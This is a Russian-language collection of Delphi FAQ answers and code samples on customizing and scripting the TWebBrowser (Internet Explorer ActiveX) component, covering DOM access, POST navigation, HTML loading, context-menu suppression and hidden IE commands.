Компонент получает фокус только при щелчке мышью в клиентской области окна. При щелчке в не клиентской области (например на полосе прокрутке) компонент фокуса не получает.
dwDoubleClick задает реакцию на двойной щелчок мышью и может принимать одно из следующих значений:
DOCHOSTUIDBLCLK_DEFAULT
Выполнять действие «по умолчанию»
DOCHOSTUIDBLCLK_SHOWPROPERTIES
Показывать окно свойств страницы
DOCHOSTUIDBLCLK_SHOWCODE DOCHOSTUIFLAG_DIALOG
Показывать HTML-код страницы
Метод должен вернуть S_OK или код ошибки OLE
Например, чтобы создать окно с плоскими полосами прокрутки и без 3-мерной рамки необходимо реализовать этот метод следующим образом:

function TCustomizedWebBrowser.GetHostInfo(
  var pInfo: TDocHostInfo): HRESULT; stdcall;
begin
  with pInfo do
    dwFlags := dwFlags or DOCHOSTUIFLAG_NO3DBORDER or
      DOCHOSTUIFLAG_FLAT_SCROLLBAR;
  Result := S_OK;
end;

function TranslateAccelerator(const lpMsg: TMsg;
  const pguidCmdGroup: TGUID; nCmdID: DWORD): HRESULT; stdcall;

Позволяет перехватить исполнение команд и обработку «горячих» клавиш и заменить её на свою.

function GetOptionKeyPath(var pchKey: PWideChar;
  dwReserved: DWORD): HRESULT; stdcall;

Позволяет задать путь в реестре, который TWebBrowser будет использовать для хранения настроек. Это дает возможность, например, сделать используемый в программе компонент независимым от текущих настроек Internet Explorer`а.
Путь должен находится под ключом HKEY_CURRENT_USER.
Метод должен выделить память под строку функцией CoTackMemAlloc. Даже в случае ошибки параметр pchKey должен быть инициализирован значением NIL или адресом строки. Метод возвращает S_OK в случае успеха или S_FALSE в противном случае.
Типичная реализация этого метода может выглядеть следующим образом:

function TCustomizedWebBrowser.GetOptionKeyPath(
  var pchKey: PWideChar;  dwReserved: DWORD): HRESULT;
var
  ResultLen: Integer;
begin
  Result := S_FALSE;
  // В поле TCustomizedWebBrowser.FOptionKeyPath: String
  // хранится путь к настройкам
  if Length(FOptionKeyPath) > 0 then
  begin
    // Получаем длину строки UNICODE
    ResultLen := MultiByteToWideChar(CP_ACP, 0,
      PChar(FOptionKeyPath), -1, NIL, 0);
    // Выделяем память под буфер
    pchKey := CoTaskMemAlloc(ResultLen * SizeOf(WideChar));
    // Если выделение успешно – копируем строку в буфер
    if Assigned(pchKey) then
    begin
      MultiByteToWideChar(CP_ACP, 0, PChar(FOptionKeyPath), -1,
        pchKey, ResultLen);
      Result := S_OK;
    end;
  end else begin
    // Свойство не задано – инициализируем параметр в NIL
    pchKey := NIL;
  end;
end;

Существует ряд настроек, которые, несмотря на наличие обработчика GetOptionKeyPath в любом случае берутся из стандартных параметров Internet Explorer. Наиболее важными из них являются колонтитулы, используемые при печати. В версиях Internet Explorer до 5.5 включительно единственным способом изменить (или подавить) колонтитулы является запись новых значений в ключ реестра:
HKCU\Software\Microsoft\Internet Explorer\PageSetup
перед печатью и восстановление их после печати.

function GetExternal(var ppDispatch: IDispatch): HRESULT; stdcall;

Позволяет вернуть указатель на реализованный в Вашем приложении интерфейс IDispatch, который будет доступен для скриптов в TWebBrowser. Если Вы не реализуете этого интерфейса – параметр ppDispatch должен быть инициализирован в NIL. Метод возвращает S_OK в случае успеха или код ошибки OLE в случае ошибки.
Методы этого интерфейса доступны из скриптов, выполняющихся в TWebBrowser следующим образом:
window.external.MethodName
Реализовать IDispatch можно, например, при помощи класса TAutoObject.

function TranslateURL(dwTranslate: DWORD; pchURLIn: PWideChar;
  var ppchURLOut: PWideChar): HRESULT; stdcall;

Позволяет изменить URL по которому осуществляется загрузка страницы.
pchURLIn указывает на строку, содержащую исходный URL. Если Ваше приложение осуществляет трансляцию, оно должно выделить память под новое значение используя функцию CoTaskMemAlloc, заполнить буфер новым значением URL и вернуть S_OK.
В противном случае Вы должны присвоить ppchURLOut значение NIL и вернуть S_FALSE. В случае возникновения ошибки метод должен вернуть OLE-код ошибки.
Обработчик вызывается только при интерактивном переходе по ссылке из TWebBrowser и не вызывается при переходе при помощи метода Navigate.

Доступ к документной модели TWebBrowser
В Internet Explorer реализовано расширение HTML, под названием Dynamic HTML (DHTML). Эта модель представляет все элементы HTML-документа в виде набора коллекций объектов, доступных для изменения. Скрипты, встроенные в страницы и приложения, имеющие доступ к этим коллекциям могут находить и изменять их элементы, добавлять новые, причем изменения будут немедленно отражены в окне TWebBrowser. Иерархическое объектное представление HTML объектов называется DOM (Document Object Model) .
DOM в IE ActiveX доступна программисту в виде набора COM интерфейсов. Отправной точкой для доступа к ней служит свойство

property Document: IDispatch;

Это свойство обеспечивает доступ к интерфейсу, IHtmlDocument2 позволяющему работать с содержимым документа. Для получения интерфейса необходимо запросить его при помощи оператора as

var
 Document: IHtmlDocument2;

...

Document := WebBrowser.Document as IHtmlDocument2;
Документ в DOM представляет из себя набор коллекций элементов. Для доступа к коллекции служит интерфейс IHtmlElementCollection, а к элементу коллекции – IHtmlElement. Следующий пример выводит все тэги, имеющиеся в текущем документе и текст внутри тэгов.

procedure TForm1.Button1Click(Sender: TObject);
var
  HtmlDocument: IHtmlDocument2;
  HtmlCollection: IHtmlElementCollection;
  HtmlElement: IHtmlElement;
  I: Integer;
begin
  Memo1.Lines.Clear;
  HtmlDocument := WebBrowser.Document as IHtmlDocument2;
  HtmlCollection := HtmlDocument.All;
  for I := 0 to HtmlCollection.Length - 1 do begin
    HtmlElement := HtmlCollection.Item(i, 0) as IHtmlElement;
    Memo1.Lines.Add(HtmlElement.TagName + ' ' +
      HtmlElement.InnerText);
end;

Возможно динамическое создание документов в памяти, без необходимости записи их на диск и вызова метода Navigate с протоколом 'file://'
Проиллюстрируем работу с документной модели TWebBrowser на примере. Расположим на форме компоненты TWebBrowser, TMemo и три TButton, и создадим следующие обработчики событий:

uses MSHTML, ActiveX;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Инициализируем пустой документ в TWebBrowser
  WebBrowser1.Navigate('about:blank');
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Document: IHTMLDocument2;
  V: OleVariant;
begin
  // Этот метод переписывает в TWebBrowser HTML-
  // документ из TMemo
  Document := WebBrowser1.Document as IHtmlDocument2;
  V := VarArrayCreate([0, 0], varVariant);
  V[0] := Memo1.Text;
  Document.Write(PSafeArray(TVarData(v).VArray));
  Document.Close;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
  Document: IHTMLDocument2;
  Collection: IHTMLElementCollection;
  Element: IHTMLElement;
  I: Integer;
begin
  // Этот метод модифицирует текст документа при помощи DHTML
  Document := WebBrowser1.Document as IHtmlDocument2;
  Collection := Document.all;
  Collection := Collection.Tags('BODY') as IHTMLElementCollection;
  Element := Collection.Item(NULL, 0) as IHTMLElement;
  Element.InnerText := 'Modifyed by DHTML';
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  Document: IHTMLDocument2;
begin
  // Этот метод позволяет просмотреть в TMemo код HTML
  // документа из TWebBrowser
  Document := WebBrowser1.Document as IHtmlDocument2;
  Memo1.Text := (Document.all.Item(NULL, 0)
    as IHTMLElement).OuterHTML;
end;

В Memo1.Lines в дизайнере запишем следующий текст:

<HTML>
  <HEAD>
    <TITLE>Hello World</TITLE>
  </HEAD>
  <BODY>
Hello again !
  </BODY>
</HTML>

Таким образом, мы получили возможность динамически создавать HTML документы и предоставлять их пользователю.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Что из себя представляет TWebBrowser?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Веббраузер это Microsoft's Internet Explorer в виде ActiveX контрола.
Его можно импортировать в Delphi IDE и размещать на форме на равне с другими компонентами. Поэтому, чтобы превратить Ваше приложение в браузер, достаточно воспользоваться всей мощью IE.


Где можно найти документацию на WebBrowser?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Вопрос: Где можно найти документацию на WebBrowser? Ответ: Можно заглянуть на сайт Microsoft в раздел WebBrowser overview, а так же на страницу WebBrowser object.


Как вызвать команды Find, Option или View Source?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Вот пример вызова диалога

const
HTMLID_FIND = 1;
HTMLID_VIEWSOURCE = 2;
HTMLID_OPTIONS = 3;

...

procedure TForm1.FindIE;
const
CGID_WebBrowser: TGUID = '{ED016940-BD5B-11cf-BA4E-00C04FD70816}';
var
CmdTarget : IOleCommandTarget;
vaIn, vaOut: OleVariant;
PtrGUID: PGUID;
begin
New(PtrGUID);
PtrGUID^ := CGID_WebBrowser;
if WebBrowser1.Document < > nil then
try
WebBrowser1.Document.QueryInterface(IOleCommandTarget, CmdTarget);
if CmdTarget <> nil then
try
  CmdTarget.Exec( PtrGUID, HTMLID_FIND, 0, vaIn, vaOut);
finally
  CmdTarget._Release;
end;
except
  // Ничего
end;
Dispose(PtrGUID);
end;


Кобинации клавиш Ctrl-C, Ctrl-O, и т.д. не срабатывают. В чём проблема?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Это не ошибка. Информацию по данному вопросу можно найти на сайте
Microsoft KnowledgeBase статья Q168777.
Приведённый ниже код, устраняет данную проблему:

... var
Form1: TForm1;
FOleInPlaceActiveObject: IOleInPlaceActiveObject;
SaveMessageHandler: TMessageEvent;
...
implementation
...

procedure TForm1.FormActivate(Sender: TObject);
begin
SaveMessageHandler := Application.OnMessage;
Application.OnMessage := MyMessageHandler;
end;

procedure TForm1.FormDeactivate(Sender: TObject);
begin
  Application.OnMessage := SaveMessageHandler;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.OnMessage := SaveMessageHandler;
  FOleInPlaceActiveObject := nil;
end;

procedure TForm1.MyMessageHandler(var Msg: TMsg; var Handled: Boolean);
var
  iOIPAO: IOleInPlaceActiveObject;
  Dispatch: IDispatch;
begin
{ exit if we don't get back a webbrowser object }
if WebBrowser = nil then
begin
Handled := False;
Exit;
end; Handled:=(IsDialogMessage(WebBrowser.Handle, Msg) = True); if (Handled) and (not WebBrowser.Busy) then
begin
if FOleInPlaceActiveObject = nil then
begin
Dispatch := WebBrowser.Application;
if Dispatch < > nil then
begin
Dispatch.QueryInterface(IOleInPlaceActiveObject, iOIPAO);
if iOIPAO < > nil then
FOleInPlaceActiveObject := iOIPAO;
end;
end; if FOleInPlaceActiveObject < > nil then
if ((Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP)) and
((Msg.wParam = VK_BACK) or (Msg.wParam = VK_LEFT) or (Msg.wParam = VK_RIGHT)) then
//nothing - do not pass on Backspace, Left or Right arrows
else
FOleInPlaceActiveObject.TranslateAccelerator(Msg);
end;
end;


Как получить POST данные?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Если данные передаются в формате 'animal=cat& color=brown' и т.д.,
то попробуйте использовать следующий код:

procedure TDBModule.Navigate(stURL, stPostData: String; var wbWebBrowser: TWebBrowser);
var
  vWebAddr, vPostData, vFlags, vFrame, vHeaders: OleVariant;
  iLoop: Integer;
begin
{Are we posting data to this Url?}
if Length(stPostData)> 0 then
begin
{Require this header information if there is stPostData.}
vHeaders:= 'Content-Type: application/x-www-form-urlencoded'+ #10#13#0;
{Set the variant type for the vPostData.}
vPostData:= VarArrayCreate([0, Length(stPostData)], varByte);
for iLoop := 0 to Length(stPostData)- 1 do // Iterate
begin
  vPostData[iLoop]:= Ord(stPostData[iLoop+ 1]);
end; // for
{Final terminating Character.}
vPostData[Length(stPostData)]:= 0;
{Set the type of Variant, cast}
TVarData(vPostData).vType:= varArray;
end;
{And the other stuff.}
vWebAddr:= stURL;
{Make the call Rex.}
wbWebBrowser.Navigate2(vWebAddr, vFlags, vFrame, vPostData, vHeaders);
end; {End of Navigate procedure.}

Автор: Craig Foley Ответ: А это другой способ:

procedure TForm1.SubmitPostForm;
var
strPostData: string;
Data: Pointer;
URL, Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
{
< !-- submit this html form: -->
< form method=" post" action=" http://127.0.0.1/cgi-bin/register.pl" >
< input type=" text" name=" FIRSTNAME" value=" Hans" >
< input type=" text" name=" LASTNAME" value=" Gulo" >
< input type=" text" name=" NOTE" value=" thats it" >
< input type=" submit" >
< /form>
}
strPostData := 'FIRSTNAME=Hans& LASTNAME=Gulo& NOTE=thats+it';
PostData := VarArrayCreate([0, Length(strPostData) - 1], varByte);
Data := VarArrayLock(PostData);
try
  Move(strPostData[1], Data^, Length(strPostData));
finally
  VarArrayUnlock(PostData);
end;
URL := 'http://127.0.0.1/cgi-bin/register.pl';
Flags := EmptyParam;
TargetFrameName := EmptyParam;
Headers := EmptyParam; // TWebBrowse
// эти заголовки соответствующими зна?ениями
WebBrowser1.Navigate2(URL, Flags, TargetFrameName, PostData, Headers);
end;

Автор: Hans Gulo.

в BeforeNavigate2, если посмотреть на PostData, увидем строку типа "????????", а как нормальную получить ?

function VariantArrayToStream(VarArray: OleVariant): TStream;
var
  pLocked: Pointer;
begin
  Result:= TMemoryStream.Create;
  if VarIsEmpty(VarArray) or VarIsNull(VarArray) then Exit;
  Result.Size := VarArrayHighBound(VarArray, 1) - VarArrayLowBound(VarArray, 1) + 1;
  pLocked := VarArrayLock(VarArray);
  try
    Result.Write(pLocked^, Result.Size);
  finally
    VarArrayUnlock(VarArray);
    Result.Position := 0;
  end;
end;

procedure TForm1.WebBrowser1BeforeNavigate2(Sender: TObject;
  const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
  Headers: OleVariant; var Cancel: WordBool);
var
  stream: TStream;
begin
  stream:= VariantArrayToStream(PostData);
  try
    Memo1.Lines.LoadFromStream(stream);
  finally
    stream.Free;
  end;
end;

Автор Alex
Взято из http://forum.sources.ru


Как использовать протокол about?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

procedure TForm1.LoadHTMLString(sHTML: String);
var
  Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
  WebBrowser1.Navigate('about:' + sHTML, Flags, TargetFrameName, PostData, Headers)
end;


Как использовать протокол res?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Протокол " res:" позволяет просмотреть HTML файл, сохранённый как ресурс.
Более подробная информация доступна на Microsoft site:

procedure TForm1.LoadHTMLResource;
var
  Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
  WebBrowser1.Navigate('res://' + Application.ExeName + '/myhtml',
    Flags, TargetFrameName, PostData, Headers)
end;

Создайте файл ресурса (*.rc) со следующими строками и откомпилируйте
его при помощи brcc32.exe: MYHTML 23 " .\html\myhtml.htm" MOREHTML 23 " .\html\morehtml.htm" Отредактируйте файл проекта, чтобы он выглядел примерно так: {$R *.RES}
{$R HTML.RES} //где html.rc будет скомпилирован в html.res


Как запретить всплывающее меню при нажатии правой кнопки мыши?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Вам необходимо включить интерфейс IDocHostUIHandler.
Для этого Вам понадобятся два файла: ieConst.pas и IEDocHostUIHandler.pas.
В методе ShowContextMenu интерфейса IDocHostUIHandler,
необходимо изменить возвращаемое значение с E_NOTIMPL на S_OK.
После этого меню перестанет реагировать на правое нажатие кнопки мыши.
Добавьте два модуля, упомянутые выше в секцию Uses и добавьте следующий код:

... var
Form1: TForm1;
FDocHostUIHandler: TDocHostUIHandler;
...
implementation
...
procedure TForm1.FormCreate(Sender: TObject);
begin
  FDocHostUIHandler := TDocHostUIHandler.Create;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  FDocHostUIHandler.Free;
end;
procedure TForm1.WebBrowser1NavigateComplete2(Sender: TObject;
pDisp: IDispatch; var URL: OleVariant);
var
  hr: HResult;
  CustDoc: ICustomDoc;
begin
  hr := WebBrowser1.Document.QueryInterface(ICustomDoc, CustDoc);
  if hr = S_OK then CustDoc.SetUIHandler(FDocHostUIHandler);
end;


Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

function TForm1.LoadFromStream(const AStream: TStream): HRESULT;
begin
AStream.seek(0, 0);
Result := (WebBrowser1.Document as
IPersistStreamInit).Load(TStreamAdapter.Create(AStream));
end;

Автор: Per Larsen


Как загрузить строковые данные в WebBrowser не прибегая к открытию файла?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Загрузите строку массив Variant, а затем запишите в документ (Document):

...
var
  v: Variant;
  HTMLDocument: IHTMLDocument2;
begin
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
  v := VarArrayCreate([0, 0], varVariant);
  v[0] := HTMLString; // Это Ваша HTML строка
  HTMLDocument.Write(PSafeArray(TVarData(v).VArray));
  HTMLDocument.Close; ...
end;
...


Как сделать WebBrowser плоским вместо 3D?

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Перевод материала с сайта members.home.com/hfournier/webbrowser.htm

Следующий пример устанавливает borderStyle:

procedure TForm1.WBDocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
var
  Doc : IHTMLDocument2;
  Element : IHTMLElement;
begin
Doc := IHTMLDocument2(TWebBrowser(Sender).Document);
if Doc = nil then Exit;
Element := Doc.body;
if Element = nil then Exit;
case Make_Flat of
TRUE : Element.style.borderStyle := 'none';
FALSE : Element.style.borderStyle := '';
end;
end;

Автор: Donovan J. Edye


Как проверить является ли текущее соединение в TWebbrowser secure (SSL)?

// You need a TWebbrowser, a TLabel

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
begin
  if Webbrowser1.Oleobject.Document.Location.Protocol = 'https:' then
    label1.Caption := 'Sichere Verbindung'
  else
    label1.Caption := 'Unsichere Verbindung'
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как скрыть контекстное меню TWebbrowser?

var
  HookID: THandle;

function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
var
  szClassName: array[0..255] of Char;
const
  ie_name = 'Internet Explorer_Server';
begin
  case nCode < 0 of
    True:
      Result := CallNextHookEx(HookID, nCode, wParam, lParam)
      else
        case wParam of
          WM_RBUTTONDOWN,
          WM_RBUTTONUP:
            begin
              GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName, SizeOf(szClassName));
              if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then
                Result := HC_SKIP
              else
                Result := CallNextHookEx(HookID, nCode, wParam, lParam);
            end
            else
              Result := CallNextHookEx(HookID, nCode, wParam, lParam);
        end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if HookID <> 0 then
    UnHookWindowsHookEx(HookID);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Webbrowser1.Navigate('http://www.google.com');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как загрузить HTML код непосредственно в TWebbrowser?

uses
  ActiveX;

procedure WB_LoadHTML(WebBrowser: TWebBrowser; HTMLCode: string);
var
  sl: TStringList;
  ms: TMemoryStream;
begin
  WebBrowser.Navigate('about:blank');
  while WebBrowser.ReadyState < READYSTATE_INTERACTIVE do
   Application.ProcessMessages;

  if Assigned(WebBrowser.Document) then
  begin
    sl := TStringList.Create;
    try
      ms := TMemoryStream.Create;
      try
        sl.Text := HTMLCode;
        sl.SaveToStream(ms);
        ms.Seek(0, 0);
        (WebBrowser.Document as IPersistStreamInit).Load(TStreamAdapter.Create(ms));
      finally
        ms.Free;
      end;
    finally
      sl.Free;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  WB_LoadHTML(WebBrowser1,'SwissDelphiCenter');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Create a TWebBrowser at Runtime?

procedure TForm1.Button1Click(Sender: TObject);
var
 wb: TWebBrowser;
begin
  wb := TWebBrowser.Create(Form1);
  TWinControl(wb).Name := 'MyWebBrowser';
  TWinControl(wb).Parent := Form1;
  wb.Align := alClient;
  // TWinControl(wb).Parent := TabSheet1; ( To put it on a TabSheet )
  wb.Navigate('http://www.swissdelphicenter.ch');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как добавить текущую страницу TWebbrowser в favorites?

// You need: 1 TEdit, 2 TButtons, 1 TWebbrowser
// Du brauchst: 1 TEdit, 2 TButtons, 1 TWebbrowser

const
  NotAllowed: set of Char = ['"'] + ['/'] + ['\'] + ['?'] + [':'] + ['*'] +
    ['<'] + ['>'] + ['|'];

implementation

{$R *.DFM}

function Load(Path, Key: string): string;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey(Path, False);
    try
      Result := Reg.ReadString(Key);
    except
      Result := '';
    end;
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;

function WinDir: string;
var
  WinDir: PChar;
begin
  WinDir := StrAlloc(MAX_PATH);
  GetWindowsDirectory(WinDir, MAX_PATH);
  Result := string(WinDir);
  if Result[Length(Result)] <> '\' then
    Result := Result + '\';
  StrDispose(WinDir);
end;

function GetSysDir: string;
var
  dir: array [0..MAX_PATH] of Char;
begin
  GetSystemDirectory(dir, MAX_PATH);
  Result := StrPas(dir);
end;

// Navigate to a page

procedure TForm1.Button1Click(Sender: TObject);
begin
  Webbrowser1.Navigate(edit1.Text);
end;

// Add the current page to the favorites

procedure TForm1.Button2Click(Sender: TObject);
var
  url: TStringList;
  fav: string;
  title, b: string;
  i: Integer;
  c: Char;
begin
  fav := Load('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders','Favorites');
  url := TStringList.Create;
  try
    url.Add('[InternetShortcut]');
    url.Add('URL=' + webbrowser1.LocationURL);
    url.Add('WorkingDirectory=' + WinDir());
    url.Add('IconIndex=0');
    url.Add('ShowCommand=7');
    url.Add('IconFile=' + GetSysDir() + '\url.dll');
    title := Webbrowser1.LocationName;
    b := '';
    for i := 1 to Length(title) do
    begin
      c := title[i];
      if not (c in NotAllowed) then
      begin
        b := b + Webbrowser1.LocationName[i];
      end;
    end;
    url.SaveToFile(fav + '\' + b + '.url');
  finally
    url.Free;
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Найти и выделить текст в TWebBrowser?

{....}

  private
    procedure SearchAndHighlightText(aText: string);

{....}

procedure TForm1.SearchAndHighlightText(aText: string);
var
  i: Integer;
begin
  for i := 0 to WebBrowser1.OleObject.Document.All.Length - 1 do
  begin
    if Pos(aText, WebBrowser1.OleObject.Document.All.Item(i).InnerText) <> 0 then
    begin
      WebBrowser1.OleObject.Document.All.Item(i).Style.Color := '#FFFF00';
      WebBrowser1.OleObject.Document.All.Item(i).ScrollIntoView(True);
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SearchAndHighlightText('some text...');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Save all TWebbrowser Frame Sources?

uses
  ActiveX;

function TForm1.GetFrame(FrameNo: Integer): IWebbrowser2;
var
  OleContainer: IOleContainer;
  enum: IEnumUnknown;
  unk: IUnknown;
  Fetched: PLongint;
begin
  while Webbrowser1.ReadyState <> READYSTATE_COMPLETE do
    Application.ProcessMessages;
  if Assigned(Webbrowser1.document) then
  begin
    Fetched := nil;
    OleContainer := Webbrowser1.Document as IOleContainer;
    OleContainer.EnumObjects(OLECONTF_EMBEDDINGS, Enum);
    Enum.Skip(FrameNo);
    Enum.Next(1, Unk, Fetched);
    Result := Unk as IWebbrowser2;
  end
  else
    Result := nil;
end;

// Load sample page
// Testseite laden
procedure TForm1.Button1Click(Sender: TObject);
begin
  Webbrowser1.Navigate('http://www.warebizprogramming.com/tutorials/html/framesEx1.htm');
end;

// Save all frames in single files
// Alle Frameseiten in einzelne Dateien speichern
procedure TForm1.Button2Click(Sender: TObject);
var
  IpStream: IPersistStreamInit;
  AStream: TMemoryStream;
  iw: IWebbrowser2;
  i: Integer;
  sl: TStringList;
begin
  for i := 0 to Webbrowser1.OleObject.Document.frames.Length - 1 do
  begin
    iw := GetFrame(i);
    AStream := TMemoryStream.Create;
    try
      IpStream := iw.document as IPersistStreamInit;
      if Succeeded(IpStream.save(TStreamadapter.Create(AStream), True)) then
      begin
        AStream.Seek(0, 0);
        sl := TStringList.Create;
        sl.LoadFromStream(AStream);
        sl.SaveToFile('c:\frame' + IntToStr(i) + '.txt');
        //  memo1.Lines.LoadFromStream(AStream);
        sl.Free;
      end;
    except
    end;
    AStream.Free;
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Добавить HTML к TWebbrowser Document?

{1. ----------------------------------------------------------------}

uses
  MSHTML;

procedure TForm1.Button1Click(Sender: TObject);
var
  Range: IHTMLTxtRange;
begin
  Range := ((WebBrowser1.Document as IHTMLDocument2).body as
    IHTMLBodyElement).createTextRange;
  Range.collapse(False);
  Range.pasteHTML('<br><b>Hello!</b>');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Webbrowser1.Navigate('www.google.ch');
end;

{----------------------------------------------------------------}

{2. ----------------------------------------------------------------}

unit Unit1;
// by Sprint

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, MSHTML, StdCtrls;

type
  TForm1 = class(TForm)
    WebBrowser1: TWebBrowser;
    procedure FormCreate(Sender: TObject);
    procedure WebBrowser1DocumentComplete(Sender: TObject;
      const pDisp: IDispatch; var URL: OleVariant);
  private
    { Private-Deklarationen }
    FirstRun: Boolean;
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{----------------------------------------------------------------}

procedure TForm1.FormCreate(Sender: TObject);
begin
  FirstRun := True;
  WebBrowser1.Navigate('about:blank');
end;

{----------------------------------------------------------------}

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
var
  WebDoc: HTMLDocument;
  WebBody: HTMLBody;
begin
  if FirstRun then
    if pDisp = WebBrowser1.Application then
    begin
      FirstRun := False;
      WebDoc := WebBrowser1.Document as HTMLDocument;
      WebBody := WebDoc.body as HTMLBody;
      WebBody.insertAdjacentHTML('BeforeEnd', '<h1>Hello World!</h1>');
    end;
end;

{----------------------------------------------------------------}

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Навигация в TWebbrowser по линкам

procedure TForm1.Button1Click(Sender: TObject);
var
  Flags, Headers, TargetFrameName, PostData: OLEVariant;
  Url, Ref: string;
  IEApp: OLEVariant;
begin
  try
    IEApp := CreateOLEObject('InternetExplorer.Application');
  except
    Exit;
  end;
  IEApp.Visible := True;
  IEApp.Top := 0;
  IEApp.Left := 0;
  IEApp.Width := Screen.Width;
  IEApp.Height := Screen.Height;
  Flags := '1';
  TargetFrameName := '';
  PostData := '';
  Url := 'http://www.dach.de/weiterempfehlen.php';
  Ref := 'http://www.dach.de/';
  // u cannot navigate to the url above without this referer
  Headers := 'Referer: ' + Ref + #10 + #13;
  IEApp.Navigate(Url, Flags, TargetFrameName, PostData, Headers);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вызвать скрытые команды TWebBrowser?

// The following codes demonstrates an innovative way to invoke hidden
// commands to show modal dialogs such as "Add To Favorite" dialog,
// "Import/Export Wizard" dialog in your WebBrowser-based application

//Command IDs Handled by 'Shell DocObject View'
const ID_IE_FILE_PAGESETUP           = 259;
const ID_IE_FILE_PRINT               = 260;
const ID_IE_FILE_NEWWINDOW           = 275;
const ID_IE_FILE_PRINTPREVIEW        = 277;
const ID_IE_FILE_NEWMAIL             = 279;
const ID_IE_FILE_SENDPAGE            = 282;
const ID_IE_FILE_SENDLINK            = 283;
const ID_IE_FILE_SENDDESKTOPSHORTCUT = 284;
const ID_IE_HELP_VERSIONINFO         = 336;
const ID_IE_HELP_HELPINDEX           = 337;
const ID_IE_HELP_WEBTUTORIAL         = 338;
const ID_IE_HELP_FREESTUFF           = 341;
const ID_IE_HELP_PRODUCTUPDATE       = 342;
const ID_IE_HELP_FAQ                 = 343;
const ID_IE_HELP_ONLINESUPPORT       = 344;
const ID_IE_HELP_FEEDBACK            = 345;
const ID_IE_HELP_BESTPAGE            = 346;
const ID_IE_HELP_SEARCHWEB           = 347;
const ID_IE_HELP_MSHOME              = 348;
const ID_IE_HELP_VISITINTERNET       = 349;
const ID_IE_HELP_STARTPAGE           = 350;
const ID_IE_HELP_NETSCAPEUSER        = 351;
const ID_IE_FILE_IMPORTEXPORT        = 374;
const ID_IE_HELP_ENHANCEDSECURITY    = 375;
const ID_IE_FILE_ADDTRUST            = 376;
const ID_IE_FILE_ADDLOCAL            = 377;
const ID_IE_FILE_NEWPUBLISHINFO      = 387;
const ID_IE_FILE_NEWPEOPLE           = 390;
const ID_IE_FILE_NEWCALL              =395;

//Command IDs Handled by 'Internet Explorer_Server'
const ID_IE_CONTEXTMENU_NEWWINDOW    = 2137;
const ID_IE_CONTEXTMENU_ADDFAV       = 2261;
const ID_IE_CONTEXTMENU_REFRESH      = 6042;

